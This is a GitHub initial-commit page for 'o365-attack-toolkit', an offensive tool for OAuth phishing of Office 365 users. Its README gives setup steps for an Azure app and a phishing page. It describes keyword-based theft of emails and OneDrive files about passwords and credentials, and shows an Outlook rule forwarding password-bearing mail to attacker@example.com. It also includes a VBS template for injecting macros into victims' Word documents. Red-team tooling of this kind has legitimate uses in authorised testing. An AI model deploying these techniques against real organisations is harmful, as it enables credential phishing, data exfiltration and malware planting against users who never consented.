Skip to content

Commit 4d3bc16

Browse files
committed
New
0 parents  commit 4d3bc16

39 files changed

+1881
-0
lines changed

.gitignore

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
.idea/
2+
downloads/*.*
3+
*.exe
4+
vendor/
5+
.devcontainer
6+
template.conf
7+
*.db
8+
*.sqlite

Gopkg.lock

Lines changed: 50 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

Gopkg.toml

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
# Gopkg.toml example
2+
#
3+
# Refer to https://golang.github.io/dep/docs/Gopkg.toml.html
4+
# for detailed Gopkg.toml documentation.
5+
#
6+
# required = ["github.com/user/thing/cmd/thing"]
7+
# ignored = ["github.com/user/project/pkgX", "bitbucket.org/user/project/pkgA/pkgY"]
8+
#
9+
# [[constraint]]
10+
# name = "github.com/user/project"
11+
# version = "1.0.0"
12+
#
13+
# [[constraint]]
14+
# name = "github.com/user/project2"
15+
# branch = "dev"
16+
# source = "github.com/myfork/project2"
17+
#
18+
# [[override]]
19+
# name = "github.com/x/y"
20+
# version = "2.4.0"
21+
#
22+
# [prune]
23+
# non-go = false
24+
# go-tests = true
25+
# unused-packages = true
26+
27+
28+
[[constraint]]
29+
name = "github.com/gorilla/mux"
30+
version = "1.7.2"
31+
32+
[[constraint]]
33+
name = "github.com/mattn/go-sqlite3"
34+
version = "1.10.0"
35+
36+
[[constraint]]
37+
name = "gopkg.in/gcfg.v1"
38+
version = "1.2.3"
39+
40+
[prune]
41+
go-tests = true
42+
unused-packages = true

README.md

Lines changed: 164 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,164 @@
1+
## What is o365-attack-toolkit
2+
3+
o365-attack-toolkit allows operators to perform an OAuth phishing attack and later on use the Microsoft Graph API to extract interesting information.
4+
5+
Some of the implemented features are :
6+
* Extraction of keyworded e-mails from Outlook.
7+
* Creation of Outlook Rules.
8+
* Extraction of files from OneDrive/Sharepoint.
9+
* Injection of macros on Word documents.
10+
11+
12+
## Architecture
13+
14+
![](/images/Architecture.png)
15+
16+
17+
### The toolkit consists of several components
18+
### Phishing endpoint
19+
The phishing endpoint is responsible for serving the HTML file that performs the OAuth token phishing.
20+
### Backend services
21+
Afterward, the token will be used by the backend services to perform the defined attacks.
22+
### Management interface
23+
The management interface can be utilized to inspect the extracted information from the Microsoft Graph API.
24+
25+
## Features
26+
27+
### Outlook Keyworded Extraction
28+
User emails can be extracted by this toolkit using keywords.
29+
For every defined keyword in the configuration file, all the emails that match them will be downloaded and saved in the database. The operator can inspect the downloaded emails through the management interface.
30+
### Onedrive/Sharepoint Keyworded Extraction
31+
Microsoft Graph API can be used to access files across OneDrive, OneDrive for Business and SharePoint document libraries.
32+
User files can be extracted by this toolkit using keywords.
33+
For every defined keyword in the configuration file, all the documents that match them will be downloaded and saved locally. The operator can examine the documents using the management interface.
34+
35+
### Outlook Rules Creation
36+
Microsoft Graph API supports the creation of Outlook rules.
37+
You can define different rules by putting the rule JSON files in the rules/ folder.
38+
https://docs.microsoft.com/en-us/graph/api/mailfolder-post-messagerules?view=graph-rest-1.0&tabs=cs
39+
40+
Below is an example rule that when loaded, it will forward every email that contains password in the body to ```attacker@example.com```.
41+
```json
42+
{
43+
"displayName": "Example Rule",
44+
"sequence": 2,
45+
"isEnabled": true,
46+
"conditions": {
47+
"bodyContains": [
48+
"password"
49+
]
50+
},
51+
"actions": {
52+
"forwardTo": [
53+
{
54+
"emailAddress": {
55+
"name": "Attacker Email",
56+
"address": "attacker@example.com"
57+
}
58+
}
59+
],
60+
"stopProcessingRules": false
61+
}
62+
}
63+
```
64+
65+
### Word Document Macro Backdooring
66+
Users documents hosted on OneDrive can be backdoored by injecting macros. If this feature is enabled, the last 15 documents accessed by the user will be downloaded and backdoored with the macro defined in the configuration file. After the backdoored file has been uploaded, the extension of the document will be changed to .doc in order for the macro to be supported on Word.
67+
It should be noted that after backdooring the documents, they can not be edited online which increases the chances of our payload execution.
68+
69+
This functionality can only be used on Windows because the insertion of macros is done using the Word COM object.
70+
A VBS file is built by the template below and executed so don't panic if you see ``wscript.exe`` running.
71+
72+
```vbscript
73+
Dim wdApp
74+
Set wdApp = CreateObject("Word.Application")
75+
wdApp.Documents.Open("{DOCUMENT}")
76+
wdApp.Documents(1).VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "{MACRO}"
77+
wdApp.Documents(1).SaveAs2 "{OUTPUT}", 0
78+
wdApp.Quit
79+
```
80+
81+
## How to set up
82+
83+
### Compile
84+
85+
```
86+
cd %GOPATH%
87+
git clone https://github.com/mdsecactivebreach/o365-attack-toolkit
88+
cd o365-attack-toolkit
89+
dep ensure
90+
go build
91+
```
92+
93+
### Configuration
94+
95+
An example configuration as below :
96+
```
97+
[server]
98+
host = 127.0.0.1 ; The ip address for the external listener.
99+
externalport = 30662 ; Port for the external listener
100+
certificate = server.crt ; Certificate for the external listener
101+
key = server.key ; Key for the external listener
102+
internalport = 8080 ; Port for the internal listener.
103+
104+
; Keywords used for extracting emails and files of a user.
105+
[keywords]
106+
outlook = pass,vpn,creds,credentials
107+
onedrive = password,.config,.xml,db,database,mbd
108+
109+
[backdoor]
110+
enabled = true ; Enable/Disable this feature
111+
macro = "C:\\Test.bas" ; The location of the macro file to use for backdooring documents
112+
```
113+
114+
### Deployment
115+
Before start using this toolkit you need to create an Application on the Azure Portal.
116+
Go to Azure Active Directory -> App Registrations -> Register an application.
117+
118+
![](/images/registerapp.png)
119+
120+
After creating the application, copy the Application ID and change it on ```static/index.html```.
121+
122+
The URL(external listener) that will be used for phishing should be added as a Redirect URL.
123+
To add a redirect url, go the application and click Add a Redirect URL.
124+
125+
![](/images/redirecturl.png)
126+
127+
The Redirect URL should be the URL that will be used to host the phishing endpoint, in this case ```https://myphishingurl.com/```
128+
129+
![](/images/url.png)
130+
131+
Make sure to check both the boxes as shown below :
132+
133+
![](/images/implicitgrant.png)
134+
135+
It should be noted that you can run this tool on any Operating Systems that Go supports, but the Macro Backdooring Functionality will only work on Windows.
136+
137+
The look of the phishing page can be changed on ```static/index.html```.
138+
139+
## Security Considerations
140+
141+
Apart from all the features this tool has, it also opens some attack surface on the host running the tool.
142+
Firstly, the Macro Backdooring Functionality will open the word files, and if you are running an unpatched version
143+
of Office, bad things can happen. Additionally, the extraction of files can download malicious files which will be saved on your computer.
144+
145+
The best approach would be isolating the host properly and only allowing communication with the HTTPS redirector and Microsoft Graph API.
146+
147+
148+
## Management Interface
149+
150+
The management interface allows the operator to browse the data that has been extracted.
151+
152+
#### Users view
153+
154+
![](/images/users.png)
155+
156+
#### View User Emails
157+
158+
![](/images/emails.png)
159+
160+
161+
#### View Email
162+
163+
![](/images/email.png)
164+

0 commit comments

Comments
 (0)